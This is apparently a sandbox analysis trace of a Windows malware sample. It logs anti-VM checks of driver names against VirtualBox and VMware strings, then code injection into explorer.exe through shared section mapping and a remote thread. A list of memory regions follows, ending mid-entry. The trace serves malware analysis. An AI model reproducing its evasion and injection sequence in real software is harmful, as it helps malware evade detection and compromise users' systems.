[0092.435] strstr (_Str="clfs.sys", _SubStr="vmmemc") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vboxgu") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vboxsf") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vboxmo") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vboxvi") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vboxdi") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vioser") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vmci.s") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vmusbm") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vmmous") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vm3dmp") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vmrawd") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vmmemc") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vboxgu") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vboxsf") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vboxmo") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vboxvi") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vboxdi") returned 0x0 [0092.435] strstr (_Str="tm.sys", _SubStr="vioser") returned 0x0 [0092.435] strstr (_Str="pshed.dll", _SubStr="vmci.s") returned 0x0 [0092.435] strstr (_Str="pshed.dll", _SubStr="vmusbm") returned 0x0 [0092.435] strstr (_Str="pshed.dll", _SubStr="vmmous") returned 0x0 [0092.435] strstr (_Str="pshed.dll", _SubStr="vm3dmp") returned 0x0 [0092.435] strstr (_Str="pshed.dll", _SubStr="vmrawd") returned 0x0 [0092.435] strstr (_Str="pshed.dll", _SubStr="vmmemc") returned 0x0 [0092.436] strstr (_Str="pshed.dll", _SubStr="vboxgu") returned 0x0 [0092.436] strstr (_Str="pshed.dll", _SubStr="vboxsf") returned 0x0 [0092.436] strstr (_Str="pshed.dll", _SubStr="vboxmo") returned 0x0 [0092.436] strstr (_Str="pshed.dll", _SubStr="vboxvi") returned 0x0 [0092.436] strstr (_Str="pshed.dll", _SubStr="vboxdi") returned 0x0 [0092.436] strstr (_Str="pshed.dll", _SubStr="vioser") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vmci.s") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vmusbm") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vmmous") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vm3dmp") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vmrawd") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vmmemc") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vboxgu") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vboxsf") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vboxmo") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vboxvi") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vboxdi") returned 0x0 [0092.436] strstr (_Str="bootvid.dll", _SubStr="vioser") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vmci.s") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vmusbm") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vmmous") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vm3dmp") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vmrawd") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vmmemc") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vboxgu") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vboxsf") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vboxmo") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vboxvi") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vboxdi") returned 0x0 [0092.437] strstr (_Str="cmimcext.sys", _SubStr="vioser") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vmci.s") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vmusbm") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vmmous") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vm3dmp") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vmrawd") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vmmemc") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vboxgu") returned 0x0 [0092.437] strstr (_Str="ntosext.sys", _SubStr="vboxsf") returned 0x0 [0092.438] strstr (_Str="ntosext.sys", _SubStr="vboxmo") returned 0x0 [0092.438] strstr (_Str="ntosext.sys", _SubStr="vboxvi") returned 0x0 [0092.438] strstr (_Str="ntosext.sys", _SubStr="vboxdi") returned 0x0 [0092.438] strstr (_Str="ntosext.sys", _SubStr="vioser") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vmci.s") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vmusbm") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vmmous") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vm3dmp") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vmrawd") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vmmemc") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vboxgu") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vboxsf") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vboxmo") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vboxvi") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vboxdi") returned 0x0 [0092.438] strstr (_Str="ci.dll", _SubStr="vioser") returned 0x0 [0092.438] strstr (_Str="msrpc.sys", _SubStr="vmci.s") returned 0x0 [0092.438] strstr (_Str="msrpc.sys", _SubStr="vmusbm") returned 0x0 [0092.438] strstr (_Str="msrpc.sys", _SubStr="vmmous") returned 0x0 [0092.438] strstr (_Str="msrpc.sys", _SubStr="vm3dmp") returned 0x0 [0092.438] strstr (_Str="msrpc.sys", _SubStr="vmrawd") returned 0x0 [0092.438] strstr (_Str="msrpc.sys", _SubStr="vmmemc") returned 0x0 [0092.439] strstr (_Str="msrpc.sys", _SubStr="vboxgu") returned 0x0 [0092.439] strstr (_Str="msrpc.sys", _SubStr="vboxsf") returned 0x0 [0092.439] strstr (_Str="msrpc.sys", _SubStr="vboxmo") returned 0x0 [0092.439] strstr (_Str="msrpc.sys", _SubStr="vboxvi") returned 0x0 [0092.439] strstr (_Str="msrpc.sys", _SubStr="vboxdi") returned 0x0 [0092.439] strstr (_Str="msrpc.sys", _SubStr="vioser") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vmci.s") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vmusbm") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vmmous") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vm3dmp") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vmrawd") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vmmemc") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vboxgu") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vboxsf") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vboxmo") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vboxvi") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vboxdi") returned 0x0 [0092.439] strstr (_Str="fltmgr.sys", _SubStr="vioser") returned 0x0 [0092.439] strstr (_Str="ksecdd.sys", _SubStr="vmci.s") returned 0x0 [0092.439] strstr (_Str="ksecdd.sys", _SubStr="vmusbm") returned 0x0 [0092.439] strstr (_Str="ksecdd.sys", _SubStr="vmmous") returned 0x0 [0092.439] strstr (_Str="ksecdd.sys", _SubStr="vm3dmp") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vmrawd") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vmmemc") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vboxgu") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vboxsf") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vboxmo") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vboxvi") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vboxdi") returned 0x0 [0092.440] strstr (_Str="ksecdd.sys", _SubStr="vioser") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vmci.s") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vmusbm") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vmmous") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vm3dmp") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vmrawd") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vmmemc") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vboxgu") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vboxsf") returned 0x0 [0092.440] strstr (_Str="clipsp.sys", _SubStr="vboxmo") returned 0x0 [0092.444] strstr (_Str="clipsp.sys", _SubStr="vboxvi") returned 0x0 [0092.445] strstr (_Str="clipsp.sys", _SubStr="vboxdi") returned 0x0 [0092.445] strstr (_Str="clipsp.sys", _SubStr="vioser") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vmci.s") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vmusbm") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vmmous") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vm3dmp") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vmrawd") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vmmemc") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vboxgu") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vboxsf") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vboxmo") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vboxvi") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vboxdi") returned 0x0 [0092.445] strstr (_Str="wdf01000.sys", _SubStr="vioser") returned 0x0 [0092.445] strstr (_Str="wdfldr.sys", _SubStr="vmci.s") returned 0x0 [0092.445] strstr (_Str="wdfldr.sys", _SubStr="vmusbm") returned 0x0 [0092.445] strstr (_Str="wdfldr.sys", _SubStr="vmmous") returned 0x0 [0092.445] strstr (_Str="wdfldr.sys", _SubStr="vm3dmp") returned 0x0 [0092.445] strstr (_Str="wdfldr.sys", _SubStr="vmrawd") returned 0x0 [0092.445] strstr (_Str="wdfldr.sys", _SubStr="vmmemc") returned 0x0 [0092.446] strstr (_Str="wdfldr.sys", _SubStr="vboxgu") returned 0x0 [0092.446] strstr (_Str="wdfldr.sys", _SubStr="vboxsf") returned 0x0 [0092.446] strstr (_Str="wdfldr.sys", _SubStr="vboxmo") returned 0x0 [0092.446] strstr (_Str="wdfldr.sys", _SubStr="vboxvi") returned 0x0 [0092.446] strstr (_Str="wdfldr.sys", _SubStr="vboxdi") returned 0x0 [0092.446] strstr (_Str="wdfldr.sys", _SubStr="vioser") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vmci.s") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vmusbm") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vmmous") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vm3dmp") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vmrawd") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vmmemc") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vboxgu") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vboxsf") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vboxmo") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vboxvi") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vboxdi") returned 0x0 [0092.446] strstr (_Str="acpiex.sys", _SubStr="vioser") returned 0x0 [0092.446] strstr (_Str="wpprecorder.sys", _SubStr="vmci.s") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vmusbm") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vmmous") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vm3dmp") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vmrawd") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vmmemc") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vboxgu") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vboxsf") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vboxmo") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vboxvi") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vboxdi") returned 0x0 [0092.447] strstr (_Str="wpprecorder.sys", _SubStr="vioser") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vmci.s") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vmusbm") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vmmous") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vm3dmp") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vmrawd") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vmmemc") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vboxgu") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vboxsf") returned 0x0 [0092.447] strstr (_Str="cng.sys", _SubStr="vboxmo") returned 0x0 [0092.448] LocalFree (hMem=0x1db2050) returned 0x0 [0092.448] Sleep (dwMilliseconds=0x1388) [0097.538] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19ff1c*=0x0, ZeroBits=0x0, RegionSize=0x19ff24*=0x5200, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x19ff1c*=0x5f0000, RegionSize=0x19ff24*=0x6000) returned 0x0 [0097.540] GetShellWindow () returned 0x100de [0097.540] GetWindowThreadProcessId (in: hWnd=0x100de, lpdwProcessId=0x19fec8 | out: lpdwProcessId=0x19fec8) returned 0x7b8 [0097.541] NtOpenProcess (in: ProcessHandle=0x19ff18, DesiredAccess=0x40, ObjectAttributes=0x19ff00*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x19fef8*(UniqueProcess=0x7b4, UniqueThread=0x0) | out: ProcessHandle=0x19ff18*=0x15c) returned 0x0 [0097.541] NtDuplicateObject (in: SourceProcessHandle=0x15c, SourceHandle=0xffffffff, TargetProcessHandle=0xffffffff, TargetHandle=0x19ff1c, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x2 | out: TargetHandle=0x19ff1c*=0x160) returned 0x0 [0097.541] NtCreateSection (in: SectionHandle=0x19fed4, DesiredAccess=0x6, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed4*=0x164) returned 0x0 [0097.541] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0xffffffff, BaseAddress=0x19fee4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee4*=0x1d30000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0097.541] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0x160, BaseAddress=0x19feec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19feec*=0x610000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0102.747] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d30000, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe")) returned 0x62 [0102.748] NtCreateSection (in: SectionHandle=0x19fed0, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed0*=0x168) returned 0x0 [0102.748] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0xffffffff, BaseAddress=0x19fee0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x15200, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee0*=0x1d40000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0102.748] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0x160, BaseAddress=0x19fee8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x20 | out: BaseAddress=0x19fee8*=0x1e80000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0102.754] RtlCreateUserThread (in: ProcessHandle=0x160, SecurityDescriptor=0x0, CreateSuspended=0, StackZeroBits=0x0, StackReserve=0x0, StackCommit=0x0, StartAddress=0x1e81930, Parameter=0x610000, ThreadHandle=0x19fe30*=0xc401db2048, ClientId=0x0 | out: ThreadHandle=0x19fe30*=0x16c, ClientId=0x0) returned 0x0 [0102.756] NtTerminateProcess (ProcessHandle=0xffffffff, ExitStatus=0x0) Thread: id = 4 os_tid = 0xb1c Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x2ab5c000" os_pid = "0x7b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 383 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 384 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 385 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 386 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 387 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 388 start_va = 0xe0000 end_va = 0xe1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 389 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 390 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 391 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 392 start_va = 0x1d0000 end_va = 0x1d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "explorer.exe.mui" filename = "\\Windows\\en-US\\explorer.exe.mui" (normalized: "c:\\windows\\en-us\\explorer.exe.mui") Region: id = 393 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 394 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 395 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 396 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 397 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 398 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 399 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 400 start_va = 0x530000 end_va = 0x531fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 401 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 402 start_va = 0x550000 end_va = 0x550fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\System32\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mpr.dll.mui") Region: id = 403 start_va = 0x560000 end_va = 0x561fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 404 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 405 start_va = 0x580000 end_va = 0x591fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscui.cpl.mui" filename = "\\Windows\\System32\\en-US\\wscui.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\wscui.cpl.mui") Region: id = 406 start_va = 0x5a0000 end_va = 0x5a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 407 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 408 start_va = 0x5c0000 end_va = 0x5c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hcproviders.dll.mui" filename = "\\Windows\\System32\\en-US\\hcproviders.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hcproviders.dll.mui") Region: id = 409 start_va = 0x5d0000 end_va = 0x5e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 410 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 411 start_va = 0x600000 end_va = 0x60afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "actioncenter.dll.mui" filename = "\\Windows\\System32\\en-US\\ActionCenter.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\actioncenter.dll.mui") Region: id = 412 start_va = 0x610000 end_va = 0x614fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 413 start_va = 0x620000 end_va = 0x680fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shell32.dll.mui" filename = "\\Windows\\System32\\en-US\\shell32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\shell32.dll.mui") Region: id = 414 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 415 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 416 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 417 start_va = 0x840000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 418 start_va = 0x9d0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 419 start_va = 0x1dd0000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 420 start_va = 0x1e50000 end_va = 0x1e67fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000015.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000015.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000015.db") Region: id = 421 start_va = 0x1e70000 end_va = 0x1e73fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 422 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{376d4583-7d39-4b0c-a26b-8169803ad7c6}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{376D4583-7D39-4B0C-A26B-8169803AD7C6}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{376d4583-7d39-4b0c-a26b-8169803ad7c6}.2.ver0x0000000000000002.db") Region: id = 423 start_va = 0x1ec0000 end_va = 0x1ec3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 424 start_va = 0x1ed0000 end_va = 0x1ed1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 425 start_va = 0x1ee0000 end_va = 0x1f0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ee0000" filename = "" Region: id = 426 start_va = 0x1f10000 end_va = 0x1f11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 427 start_va = 0x1f20000 end_va = 0x1f21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 428 start_va = 0x1f30000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 429 start_va = 0x1f40000 end_va = 0x2276fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: 